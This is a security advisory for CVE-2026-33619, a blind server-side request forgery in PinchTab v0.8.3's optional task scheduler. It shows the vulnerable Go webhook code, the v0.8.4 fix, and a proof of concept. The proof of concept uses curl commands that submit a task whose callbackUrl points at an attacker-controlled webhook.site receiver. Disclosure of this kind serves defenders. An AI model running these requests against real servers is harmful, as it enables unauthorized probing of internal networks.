github.com/pinchtab/pinchtab
Affected
- introduced
0, fixed0.8.4(semver)
Fixed versions
0.8.4
Fix
- Fixed version
0.8.4go get github.com/pinchtab/[email protected]
Advisory
Also known as: CVE-2026-33619, GO-2026-4825
PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl
Summary
PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to POST /tasks with a user-controlled callbackUrl, the v0.8.3 scheduler sends an outbound HTTP POST to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.
Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.
This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.
PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.
This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating callbackUrl during task submission.
Details
Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):
The vulnerable sendWebhook() implementation accepted any http or https URL and dispatched the outbound request without destination IP validation:
// internal/scheduler/webhook.go - v0.8.3
parsed, err := url.Parse(callbackURL)
if parsed.Scheme != "http" && parsed.Scheme != "https" {
slog.Warn("webhook: unsupported scheme", ...)
return
}
req, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))
resp, err := webhookClient.Do(req)
In v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.
Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):
The task submission schema accepted a user-controlled callbackUrl, and the v0.8.3 request validation logic did not validate it:
// internal/scheduler/task.go - v0.8.3
type SubmitRequest struct {
AgentID string `json:"agentId"`
Action string `json:"action"`
CallbackURL string `json:"callbackUrl,omitempty"`
}
func (r *SubmitRequest) Validate() error {
if r.AgentID == "" {
return fmt.Errorf("missing required field 'agentId'")
}
if r.Action == "" {
return fmt.Errorf("missing required field 'action'")
}
return nil
}
This meant a user-supplied callbackUrl flowed into webhook delivery without early rejection.
Issue 3 - Redirects were followed in v0.8.3:
The v0.8.3 webhook client used the default http.Client, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.
PoC
Prerequisites
v0.8.3scheduler.enabled: true because the scheduler is off by defaultPOST /tasksEnable scheduler if required:
curl -s -X PUT http://TARGET:9867/api/config \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"scheduler":{"enabled":true}}'
Restart PinchTab after changing config.
Execution
Submit a task with an attacker-controlled callbackUrl. A valid tabId is not required because the webhook fires for terminal task states, including failure:
curl -s -X POST http://TARGET:9867/tasks \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"agentId": "poc-agent",
"action": "navigate",
"params": {"url": "https://example.com"},
"callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19"
}'
Confirm the task was accepted:
{
"createdAt": "2026-03-18T10:02:39.847097+07:00",
"position": 1,
"state": "queued",
"taskId": "tsk_2633324a"
}
Poll task state:
curl -s -H "Authorization: Bearer <token>" http://TARGET:9867/tasks/tsk_2633324a
Example result:
{
"taskId": "tsk_2633324a",
"state": "failed",
"error": "tabId is required for task execution",
"callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19",
"completedAt": "2026-03-18T10:02:39.858043+07:00"
}
Query the attacker-controlled receiver for the inbound POST:
curl -s "https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests" \
| python3 -m json.tool
Observation
Impact
Suggested Remediation
Apply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:
Medium Basis: The source's own band: MODERATE
0, fixed 0.8.4 (semver)0.8.4
0.8.4go get github.com/pinchtab/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0